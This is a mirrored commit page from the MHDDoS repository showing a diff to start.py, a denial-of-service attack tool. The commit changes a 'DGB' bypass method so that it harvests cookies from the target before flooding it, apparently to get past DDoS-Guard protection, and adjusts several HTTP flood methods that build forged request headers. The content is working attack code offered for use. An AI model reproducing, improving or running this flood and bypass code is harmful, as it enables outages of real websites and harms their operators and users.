mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 11:42:42 +08:00
DGB Bypass Changed #231
This commit is contained in:
parent
c696ea8c35
commit
73e2243232
14
start.py
14
start.py
|
@ -33,7 +33,7 @@ from dns import resolver
|
|||
from icmplib import ping
|
||||
from impacket.ImpactPacket import IP, TCP, UDP, Data
|
||||
from psutil import cpu_percent, net_io_counters, process_iter, virtual_memory
|
||||
from requests import Response, Session, exceptions, get
|
||||
from requests import Response, Session, exceptions, get, cookies
|
||||
from yarl import URL
|
||||
|
||||
basicConfig(format='[%(asctime)s - %(levelname)s] %(message)s',
|
||||
|
@ -777,7 +777,11 @@ class HttpFlood(Thread):
|
|||
def DGB(self):
|
||||
global REQUESTS_SENT, BYTES_SEND
|
||||
s = None
|
||||
with suppress(Exception), create_scraper() as s:
|
||||
with suppress(Exception), Session() as s:
|
||||
with s.post(self._target.human_repr()) as ss:
|
||||
ss.raise_for_status()
|
||||
for key, value in ss.cookies.items():
|
||||
s.cookies.set_cookie(cookies.create_cookie(key, value))
|
||||
for _ in range(min(self._rpc, 5)):
|
||||
sleep(min(self._rpc, 5) / 100)
|
||||
if self._proxies:
|
||||
|
@ -794,7 +798,7 @@ class HttpFlood(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def DYN(self):
|
||||
payload: str | bytes = str.encode(self._payload +
|
||||
payload: Any = str.encode(self._payload +
|
||||
"Host: %s.%s\r\n" % (ProxyTools.Random.rand_str(6), self._target.authority) +
|
||||
self.randHeadercontent +
|
||||
"\r\n")
|
||||
|
@ -805,7 +809,7 @@ class HttpFlood(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def DOWNLOADER(self):
|
||||
payload: str | bytes = self.generate_payload()
|
||||
payload: Any = self.generate_payload()
|
||||
|
||||
s = None
|
||||
with suppress(Exception), self.open_connection() as s:
|
||||
|
@ -863,7 +867,7 @@ class HttpFlood(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def NULL(self) -> None:
|
||||
payload: str | bytes = str.encode(self._payload +
|
||||
payload: Any = str.encode(self._payload +
|
||||
"Host: %s\r\n" % self._target.authority +
|
||||
"User-Agent: null\r\n" +
|
||||
"Referrer: null\r\n" +
|
||||
|
|
Loading…
Reference in New Issue
Block a user